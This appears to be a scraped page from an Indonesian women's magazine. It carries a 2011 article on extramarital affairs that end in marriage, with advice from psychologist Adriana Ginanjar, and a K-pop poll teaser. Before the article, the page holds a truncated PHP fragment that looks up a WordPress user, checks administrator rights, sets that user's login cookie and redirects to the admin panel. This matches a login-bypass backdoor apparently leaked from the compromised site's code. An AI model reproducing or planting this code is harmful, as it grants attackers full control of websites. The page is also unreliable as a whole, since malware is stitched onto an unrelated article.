user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
Selingkuhanku Jadi Suamiku

28 Jul 2011

Jatuh cinta memang sejuta rasanya. Tapi, apa jadinya jika kita jatuh cinta di saat yang tak tepat, saat kita sudah berkomitmen dengan satu cinta dalam hidup kita. Ruwet? Sudah pasti. Tapi, tak bisa dipungkiri, kebahagiaan tentu memenuhi hati dan kehidupan kita. Hingga pada akhirnya kita harus memilih satu di antara dua, meski akan ada satu hati yang tersakiti. Bagaimana kalau pilihan jatuh pada orang yang datang belakangan?

Perselingkuhan bisa berawal dari hal yang tidak terduga. Bahkan yang tadinya keadaan keluarga adem ayem bisa berubah seiring dengan berjalannya waktu. Menurut pengamatan psikolog Adriana Ginanjar, “Hampir semua perselingkuhan diawali dari curhat karena merasakan kekosongan pada hubungannya yang resmi. Mereka merasakan perhatian dan kenyamanan yang dibutuhkan, terlebih jika mereka merasa tidak mendapatkan hal itu dari pasangan resminya. Akhirnya, mereka pun merasakan telah menemukan belahan jiwanya,” papar Adriana.

Hal itu menunjukkan bahwa banyak perselingkuhan yang diawali dari adanya masalah dalam sebuah hubungan. “Tapi, ada juga yang baru merasa bahwa ternyata ada masalah dalam hubungan dengan pasangannya setelah ia menjalin kedekatan dengan orang lain,” jelas jelas psikolog dari Fakultas Psikologi Universitas Indonesia ini. Seperti ketika rasa jenuh mendorong seseorang mencari selingan. Seiring waktu, hubungan iseng itu menyadarkan bahwa sosok selingannya adalah yang sebenarnya ia butuhkan.

Bukan Permainan Cinta
Keretakan rumah tangga banyak yang berujung dengan perceraian. Beberapa pasangan berusaha menyelesaikan permasalahan rumah tangganya dengan pikiran jernih tanpa faktor ketiga yang menjadi pemicu. Idealnya, jika seseorang memiliki masalah besar dalam pernikahannya dan ingin bercerai, sebaiknya tidak boleh ada orang ketiga dulu. "Harus ada usaha untuk memperbaiki kondisi rumah tangga yang mulai retak atau berkonsultasi dengan konselor pernikahan terlebih dahulu. Berbagai jalan harus dicari sampai akhirnya tidak ada kata lain selain bercerai,” jelas Adriana.

Pasangan yang tengah bermasalah perlu meluangkan waktu untuk memulihkan mental dan menenangkan diri. “Memberikan waktu juga penting untuk menyelesaikan permasalahan yang ada, seperti hak asuh anak, pembagian harta gono-gini, dan menjalani proses di pengadilan. Jika kondisi mental sudah sehat, barulah masing-masing boleh menemui orang lain," jelas Adriana.
Advertisement
    
Menurut Adriana, kehadiran orang ketiga ketika sedang ada masalah dalam pernikahan membuat orang ketiga tersebut tampak sebagai dewa penolong. "Akan ada kecenderungan atau dorongan tidak mau repot menyelesaikan masalah yang ada. Karena, yang dipikirkan pasti kebahagiaan diri sendiri dulu. Kita jadi tidak punya waktu untuk introspeksi diri atau menyelesaikan masalah secara baik dengan pasangan, menyiapkan anak-anak menghadapi perceraian," ujarnya.

Jangan tergesa-gesa
Sepandai-pandainya tupai meloncat, bakal terjatuh juga. Secerdik apapun hubungan perselingkungan disembunyikan dari pasangan, pasti akan ketahuan juga.

Satu sisi dunia terasa runtuh saat itu, di sisi lainnya hubungan perselingkuhan pun bisa berubah menjadi hubungan yang lebih serius. Untuk menuju ke jenjang yang lebih serius tersebut, bagian tersulit adalah beradaptasi dengan keadaan dan harus meyakini banyak pihak seperti keluarga. Semua harus dijalani dengan sabar dan jangan tergesa-gesa, apalagi bagi mereka yang baru saja melewati tahap perceraian.

Keputusan untuk tak tergesa-gesa menikah, sesuai dengan anjuran Adriana. Menurutnya, ketika dua orang jatuh cinta, yang berperan adalah kimiawi-kimiawi di otak, seperti endorfin, yang merangsang hormon estrogen dan progesteron. Mereka akan mudah merasa bahagia dan punya ketertarikan secara seksual yang tinggi. Apalagi jika hubungan itu bersifat rahasia, adrenalin pun akan meningkat dan membuat hubungan menjadi lebih menarik.

Adriana pun menegaskan bahwa proses pengenalan yang lebih dalam ini dibutuhkan agar tidak timbul trauma dalam pernikahan mendatang akibat kisah 'perselingkuhan' pasangan di masa lalu. "Wajar jika nantinya muncul rasa takut bahwa pasangan yang sebelumnya berselingkuh di balik pasangan resminya akan melakukan hal yang sama. Oleh karena itu, sangat bijaksana jika keduanya berusaha mengenal diri masing-masing dan menumbuhkan rasa saling percaya," ujarnya. (f)


 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?